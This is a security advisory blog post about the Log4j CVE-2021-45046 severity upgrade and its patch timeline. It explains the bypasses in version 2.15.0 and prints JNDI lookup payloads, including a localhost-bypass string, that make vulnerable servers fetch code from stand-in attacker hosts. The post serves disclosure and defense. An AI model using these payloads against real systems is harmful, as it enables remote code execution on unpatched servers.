Skip to main content

Log4Shell Update: Severity Upgraded 3.7 to 9.0 for Second log4j Vulnerability (CVE-2021-45046)

· 7 min read
Free Wortley
Chris Thompson
Forrest Allison

Log4Shell Logo

The logo gets worse as the situation gets worse...

Originally Posted @ December 17th & Last Updated @ December 19th, 3:37pm PST

Earlier today, the second Log4j vulnerability (CVE-2021-45046), was upgraded from a CVSS score of 3.7 (limited DOS) to a CVSS score of 9.0 (limited RCE). Note: the reported limited RCE has only been proven to be exploitable on macOS at the moment. We expect, in time, that other operating systems will also be shown to be exploitable. Update: More operating systems have been showing to be vulnerable: MacOS, Fedora, Arch Linux, and Alpine Linux.

See the bottom of this post for an example exploit payload that bypasses the checks in log4j 2.15.0.

Just trying to patch Log4Shell? Please read our dedicated Mitigation Guide.

Context on CVE Timeline

The Log4j team had previously released version 2.15.0 on December 6th to address, which at the time had only been privately disclosed, the Log4Shell vulnerability that abused JNDI and LDAP to allow for an easily exploitable RCE vulnerability. We posted a blog post about this new RCE that, at the time, was only being posted about by the Chinese InfoSec community on December 9th, 2021. This post made the broader InfoSec community aware of the ongoing exploitation and resulted in a frenzy as Java developers worked to patch themselves.

The following day, on December 10th, an official CVE was associated with this RCE vulnerability as CVE-2021-44228 with the maximum possible CVSS score of 10.0.

In the days afterwards, it was realized that this fix was incomplete as bypasses were found that could result in a limited DOS for 2.15.0 users, and, for users that had patched older Log4j releases using formatMsgNoLookups, these bypasses could be used to allow for limited RCE.

Version 2.16.0 was released on December 13th to address the vulnerabilities by completely disabling JNDI by default. The next day, on December 14th, the second vulnerability was officially given a dedicated CVE numbered CVE-2021-45046 with a limited 3.7 (now 9.0).

In this post, we're going to talk about the impact of these changes, and about why the CVSS score has changed so drastically.

Understanding the new bypass

With more attention on the Log4j library now from the security community, we have seen security researchers digging into the source code of this project. @pwntester announced on Twitter that there is a possible RCE still present in 2.15.0, under certain conditions.

2.15.0 with no formatMsgNoLookups mitigations is still vulnerable to RCE. 2.15.0 without those mitigations is vulnerable only if attackers can control non-message parts of the pattern layout. Just to be clear, 2.15.0 disables message text lookups by default- users need to enable them explicitly in the patterns with %m{lookups}. So mitigations are in place by default in 2.15.0.

Version 2.15.0 was released in order to prevent RCE by only allowing LDAP connections to local addresses by default. This development for the CVE means that there exists a bypass to these newly added security measures. Not everyone who has updated to 2.15.0 is vulnerable to RCE as it requires a specific logging configuration. Since the formatMsgNoLookups property is on by default in 2.15.0, to be vulnerable to this RCE, message text lookups must be manually enabled with %m{lookups}.

However, there even still are other ways in which a message lookup can take place. Some examples are discussed on the Log4j security page:

The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.

To summarize, 2.15.0 introduced changes to prevent remote connections in a message lookup (ie. a connection to some-attacker.com will be blocked in: ${jndi:ldap://some-attacker.com/a}), as well as disabled message lookups when logging by default:

String attackerData = "${jndi:ldap://some-attacker.com/a}";

// Message lookups are blocked in this log statement. Payload will not fire by default.
logger.info("Log string, but no lookup will happen: " + attackerData);

These changes were still not enough to prevent message lookups by default as there are other places in the code where this could take place:

// Put attacker controlled data in
ThreadContext.put("layout-pattern-value", attackerData);

An example log4j2.properties file might look something like:

# The attacker data, "${jndi:ldap://some-attacker.com/a}", will be attempted to be looked up
appender.console.layout.pattern = ${ctx:layout-pattern-value} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

However, since only local connections were allowed in 2.15.0, the impacts of this vulnerability were minimal. The most impactful way to exploit this vulnerability was to have String attackerData = "${ctx:layout-pattern-value", which would result in a recursive reference in the lookup. With the reported bypass of the restrictive remote connection list, a full RCE is possible in the above code as we can access some-attacker.com now.

It is strongly recommended that you update to 2.16.0 2.17.0 (updated 12/19), even if you have previously updated to 2.15.0 or 2.16.0, to mitigate these new bypasses. (Updated 12/19 due to new DOS found in 2.16.0. Please upgrade to 2.17.0 to mitigate issues in previous versions.)

Update: The localhost Bypass is Discovered!

The bypass was posted on Twitter by Márcio Almeida early on December 17th.

This payload will bypass the network host restrictions in log4j 2.15.0 and allow full RCE again:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

We are still investigating how to have this exploit work properly on other operating systems. It has been proposed that changing the default provider to dns,sun:

System.setProperty("http://sun.net.spi.nameservice.provider.1", "dns,sun")

will cause the exploit to bypass the allowed hosts check in 2.15.0 properly. However, we have not been able to replicate this yet.

Stay Updated

Please follow us on Twitter or add yourself to our mailing list below, and we'll update you when we publish new findings.

If this post helped you, please share it with others to help them too.

Additional Information

We have published a series of posts about Log4Shell on our blog that you might be interested in:

Limited Offer: Free Security Assistance

We're also currently offering a free 30-minute consultation with one of our Security Engineers. If you're interested, please book some time with us here.

Updates

info

We're continuously keeping this post up-to-date as new information comes out. If you have any questions, or you're confused about our advice, please file an Issue on GitHub.

If you would like to contribute, or notice any errors, this post is an Open Source Markdown file on GitHub.

Edits

  1. Added a note that RCE has only been provably exploitable on macOS.
  2. 12/19/21: Updated info about 2.17.0 release due to CVE.
  3. Added a note that the RCE has been provably exploitable on MacOS, Fedora, Arch Linux, and Alpine Linux.